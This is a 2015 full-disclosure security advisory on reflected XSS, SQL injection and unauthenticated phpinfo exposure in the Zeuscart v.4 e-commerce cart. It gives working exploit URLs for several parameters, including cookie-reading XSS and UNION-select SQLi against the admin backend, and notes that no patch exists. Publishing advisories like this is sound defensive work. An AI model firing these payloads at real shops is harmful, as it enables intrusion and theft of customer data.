Zeuscart 4 Cross Site Scripting / SQL Injection

`Advisory: Multiple reflecting XSS-, SQLi and  
InformationDisclosure-vulnerabilities in Zeuscart v.4  
Advisory ID: SROEADV-2015-12  
Author: Steffen Rösemann  
Affected Software: Zeuscart v.4  
Vendor URL: http://zeuscart.com/  
Vendor Status: pending  
CVE-ID: will asked to be assigned after release on FullDisclosure via  
OSS-list  
Software used for research: Mac OS X 10.10, Firefox 35.0.1  
  
==========================  
Vulnerability Description:  
==========================  
  
ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- and  
InformationDisclosure-vulnerabilities.  
  
==================  
Technical Details:  
==================  
  
====  
XSS  
===  
  
Reflecting XSS-vulnerabilities can be found in a common  
Zeuscart-installation in the following locations and could be exploited for  
example by crafting a link and make a registered user click on that link.  
  
The parameter "search", which is used in the index.php is vulnerable to  
XSS-attacks.  
  
Exploit-Example:  
  
http://  
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--  
  
By appending arbitrary HTML- and/or JavaScript-code to the parameter  
"schltr" which is as well used in index.php, an attacker could exploit this  
XSS-vulnerable parameter:  
  
Exploit-Example:  
  
http://  
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E  
  
The third XSS-vulnerability can be found in the "brand"-parameter, which is  
again used in index.php.  
  
Exploit-Example:  
  
http://  
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E  
  
====  
SQLi  
====  
  
The SQL injection-vulnerabilities can be found in the administrative  
backend of Zeuscart v. 4 and reside in the following locations in a common  
installation.  
  
By appending arbitrary SQL statements to the "id"-parameter, an attacker  
could exploit this SQL injection vulnerability:  
  
Exploit-Example:  
  
http://  
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+  
  
Another SQL injection vulnerability can be found here and can be exploited  
by appending SQL statements to the vulnerable "cid"-parameter:  
  
Exploit-Example:  
  
http://  
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+  
  
The last SQL injection vulnerability I found can be found in the following  
location and can be exploited by appending SQL statements to the vulnerable  
"id" parameter:  
  
http://  
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+  
  
==============  
Information Disclosure  
==============  
  
The administrative backend of Zeuscart v. 4 allows the admin to use a  
functionality, which displays the PHP-installation settings via phpinfo():  
  
http://{TARGET}/admin/?do=getphpinfo  
  
Unfortunately, the PHP-script does not check, if an authorized admin  
executes this functionality: It is possible even for unregistered users to  
request the above link to see the informations, phpinfo() displays. That  
could expose sensitive informations to an attacker which could lead to  
further exploitation.  
  
  
  
=========  
Solution:  
=========  
  
Vendor has been notified. After releasing a patch, which seems not to  
correct the issues, the vendor decided not to respond anymore to figure out  
a solution together. Currently, there is no patch available to secure  
Zeuscart-installations.  
  
  
====================  
Disclosure Timeline:  
====================  
21-Jan-2015 – found the vulnerabilities  
21-Jan-2015 - informed the developers (see [3])  
21-Jan-2015 – release date of this security advisory [without technical  
details]  
21-Jan-2015 – fork of the repository to keep the vulnerable version  
available for other researchers (see [5])  
22-Jan-2015 - vendor responded, provided detailed information  
04-Feb-2015 - vendor patches Bin/Core/Assembler.php; vulnerabilities are  
still exploitable, which has been reported to the vendor (see [3])  
19-Feb-2015 - asked the vendor again, if he will patch these issues (see  
[3]); vendor did not respond  
21-Feb-2015 - release date of this security advisory  
21-Feb-2015 - send to FullDisclosure  
  
  
========  
Credits:  
========  
  
Vulnerabilities found and advisory written by Steffen Rösemann.  
  
===========  
References:  
===========  
  
[1] http://zeuscart.com/  
[2] https://github.com/ZeusCart/zeuscart  
[3] https://github.com/ZeusCart/zeuscart/issues/28  
[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html  
[5] https://github.com/sroesemann/zeuscart  
  
  
`